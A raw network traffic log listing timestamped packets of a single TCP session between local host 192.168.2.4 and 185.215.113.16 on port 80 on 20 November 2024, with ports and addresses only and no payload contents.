Nov 20, 2024 21:04:31.339169979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.339905977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.340013981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.340841055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.340902090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.340904951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.340918064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.341645956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.341825008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.342739105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.342753887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.342816114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.342844009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.342890978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.343656063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.343803883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.344611883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.344626904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.344670057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.344696045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.345549107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.345643044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.346450090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.346513987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.347074986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.347124100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.347408056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.347423077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.347469091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.348274946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.409775972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.504359007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.504523993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.504658937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.504698038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.504916906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.504931927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.505079031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.505847931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.505935907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.505986929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.506761074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.506822109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.506882906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.507715940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.507858992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.507910013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.508651972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.508719921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.508882046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.509593964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.509759903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.509828091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.510538101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.510595083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.510665894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.511457920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.511869907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.511925936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.512382984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.512434006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.512707949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.513315916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.513638973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.513734102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.514292002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.514554024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.514602900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.515201092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.515218019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.515259981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.516119957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.516164064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.516462088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.517122030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.517168045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.517214060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.517972946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.518246889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.518304110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.518913984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.518965960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.519339085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.519929886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.520204067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.520252943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.520812035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.520864964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.521563053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.521720886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.522478104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.522531033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.522706985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.522723913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.522756100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.523669958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.523685932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.523722887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.524569988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.524625063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.524724007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.525455952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.525572062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.525676012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.526365042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.526417017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.526652098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.527311087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.527354002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.527411938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.528256893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.528326988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.529234886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.529249907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.529266119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.529314995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.530126095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.531068087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.531085014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.531100988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.531121016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.531136036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.531974077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.532207012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.532253027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.532917023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.532963991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.533019066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.533853054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.533993006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.534038067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.534789085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.534837961 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.534939051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.535731077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.535897970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.535950899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.536684990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.536701918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.536747932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.537574053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.537640095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.537866116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.538528919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.538746119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.538806915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.539438009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.539500952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.539866924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.540462971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.540525913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.540580034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.541296959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.541364908 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.541440964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.542243004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.543210030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.543225050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.543241024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.543265104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.543294907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.544101954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.544156075 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.544306993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.545084000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.545250893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.545310974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.545975924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.546231985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.546300888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.546905041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.546957970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.547143936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.547854900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.548427105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.548485994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.548823118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.548837900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.548876047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.549738884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.550184011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.550246000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.550658941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.550714016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.550801992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.551635027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.551934958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.552000046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.552575111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.552591085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.552628040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.591134071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.705956936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.706131935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.706211090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.706320047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.706592083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.706688881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.706737041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.707482100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.707528114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.707629919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.708419085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.708642960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.708672047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.709328890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.709470987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.709516048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.710263014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.710309029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.710692883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.711210966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.711227894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.711271048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.712131023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.712429047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.712475061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.713094950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.713144064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.713150024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.714016914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.714318037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.714365959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.714957952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.715003014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.715356112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.715981007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.716120005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.716162920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.716809034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.716854095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.717688084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.717755079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.717801094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.718038082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.718708992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.719036102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.719088078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.719614029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.719664097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.719729900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.720577002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.720644951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.720676899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.721518993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.721647024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.721699953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.722407103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.722454071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.722532988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.723366976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.723664999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.723694086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.724271059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.725258112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.725274086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.725291014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.725306034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.725349903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.726144075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.726187944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.726665020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.727257967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.727274895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.727328062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.728013992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.728059053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.728809118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.728955030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.728971004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.729017973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.729887009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.729984045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.730042934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.730870008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.730918884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.731203079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.731724977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.732119083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.732175112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.732681990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.732732058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.732814074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.732995987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.733601093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.733648062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.733861923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.734549046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.734592915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.735078096 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.735477924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.735521078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.735694885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.736474991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.736517906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.737293959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.737423897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.737440109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.737468004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.738270044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.738323927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.738419056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.739211082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.739253998 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.739345074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.740149021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.740186930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.740195990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.741072893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.741123915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.741384983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.742003918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.742048025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.742964029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.742979050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.742995024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.743022919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.743886948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.743932009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.743959904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.744884968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.744900942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.744927883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.745749950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.745795965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.745897055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.746695042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.746772051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.747003078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.747602940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.747648954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.747906923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.748574972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.748589993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.748617887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.749459982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.749505997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.749665976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.750487089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.750503063 CET	80	49744	185.215.113.16	192.168.2.4
